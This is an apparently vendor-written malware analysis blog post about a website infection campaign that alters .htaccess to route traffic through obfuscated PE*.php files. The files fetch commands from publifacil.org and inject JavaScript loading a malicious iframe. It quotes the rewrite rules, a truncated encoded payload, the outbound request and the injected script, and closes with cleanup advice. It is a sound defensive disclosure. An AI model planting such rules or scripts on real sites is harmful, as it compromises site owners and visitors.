Malware update: publifacil.org – htaccess changes and PE*.php

The last few days we’ve been tracking a large number of sites infected with a very interesting piece of malware.

All the sites hacked so far contain the following in their .htaccess file (PEcasas.php could be many names like PEtherm.php, PEmerle.php, PEirade.php, PEdropt.php, PErodeo.php, etc):

#PEstart
ErrorDocument 404 /PEcasas.php
ErrorDocument 500 /PEcasas.php
RewriteEngine On
RewriteCond %{REQUEST_METHOD} GET
RewriteCond %{REQUEST_FILENAME} -f
RewriteCond %{REQUEST_FILENAME} !PE(.*).php
RewriteRule (.*).(php|html|htm|php3|phtml|shtml)	PEcasas.php?%{QUERY_STRING}&qq=$1.$2 [NC,L]
#PEend

Those PE*.php files have a very long piece of code:

$iswordpress = array('eNptWG9vol4W/irzYpLOZCYbQJhfzS99','YatYHMGqiOBmsxHoqEhbp9WC','bPa7773PuX+ws0kjFO495znP+cv9','dXrOjruX','50/1ry+fd1
//83l903t9XZ+','/XIXL7o/1sn5L5tdXn/5xZYz','5b9Hb/Bzym+A9jW+3Ob/F/+UuVfc','L/vOXNzD','DOW4Xm8kdv9rVhF/Ot/GaX5','fOPu3kDb
/1Bo7a6PWTk89vsG','d/c/X9Csvv+c/MyPr8+vI+rvj1hn','6+X7E/78','z/uS7Y7bi6EQ/5P/wxPWjdT','gEhKPhlFd+SiYt6mz7BKDNZ5','uVkx2
/xruQ/Kf43zQyaqs1qCbP+y','kIDaMbFo','upPX5R4i/90T+lTVORDJeU9','LV42U7yr8X9mwfDgbmP8ZFuZ','hAD2bwBUXB6Go7N3d
/1N2GTQ1sRy','gXy97J7i','/ss7f8v+D+GLbpHwazzjv4f','Usn94/K4Hef0pUcQe9AFWKOU','/G8neaOd3gl0CknwleFCz5
/zGmcy','TAj4Nsyf','4rqH3EMX2+WHP5Ldsfe2Hgy','evGdQ+VCRFEG6k80IONZ4BIv','s3KFbZuPAMSI6q07KBHcdJBPpTig','7DiSOwfo','Inm554b
7xyEQAyYmIAyIjvH','No2N85x9EbegjFlDieq7cCbj','Uu5psx/VirKSOyMiR2cAywnBFIEv','0wig19em','UrEjM+Rzt+wHWgigSpK
/Z1h','xiTmBAPw2HgFWrYN3gPqN42A','a19lAMdAAqBZEQfSEBIDFNCaZ5S8','lGWB1gha','BWhohaPhIAaaNN+06KQg92E','0gaSlGuiRU6eIEfTJ
QPObLXv','N7zhwYl+BhwruhQ/2EwI/9JgTbRZ','FETmIx8h','HUaRpEgbcQR1oLMlBk5DT5p','0D7Uu
/GKAaATeX3L8VNHmm7x','JFbI0tsCOkG1cox1ZLMukXXhNTia','v9Zqo19M','gEeoWMad2ffZhcClYHlU8pC','X8VXh0wZvwwqf5fIAHMrQCzr','zkz8
Dq3geGHlEgI3ktsFmODYZ2eR','RzhtQgM3','ySi2GuLMDNTClWBGRHKQijv','o6hI6KYgsZlQcfHDvckkwGJS','6gnrbVLOYS4qwO6XnE+HGf/BM7
ZQ','eJ641Yms','2woP7R0oQSFB0saqdgl8xa3','IspEgyauEI4VC8kBJwcfwGVK','b3/QUxdQdZFiAdN/lXslMSRJt579','TFebEqS2','XTGQ0AXDG4/gc6E6kqwI2Mp','5tO1CliJkeTlthgbZBIAY1+O'...

When decoded, it tries the following: First, it connects to publifacil.org (69.13.181.190) to get a piece/command to be executed –Note that publifacil.org is not blacklisted anywhere.

GET /images/ HTTP/1.0
Host: publifacil.org
Referer: publifacil.org/images/
Accept-Language: en-us, en;q=0.50
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)
Connection: Close

This request will return a long base64 encoded string to be appended to the web site content (generally a javascript that hides a call to load a malicious iframe from http://pie.goldmonatomic.com/in.cgi?2). Some details here: http://sucuri.net/malware/entry/MW:JS:457.

This is how the javascript looks like on a web site:

var a=false;if(document.cookie.indexOf("langs")==-1){dt=new Date;dt.setTime(dt.getTime()+9072E4);document.cookie="langs="+escape("langs")+";expires="+dt.toGMTString()+";path=/";df="XXHHDC".replace(/D/g,"u0070u0069u0065....

Cleaning it up: To clean up the mess, you have to delete those PE*.php file, put the .htaccess back in place, search for new files added (generally backdoors) and find out how they hacked you in the first place (old version of a web application? wrong permissions?)

We will post more details as we learn more about this attack.

Need help getting your site cleaned up? Contact us at http://sucuri.net and we will get your site malware-free and blacklist-free.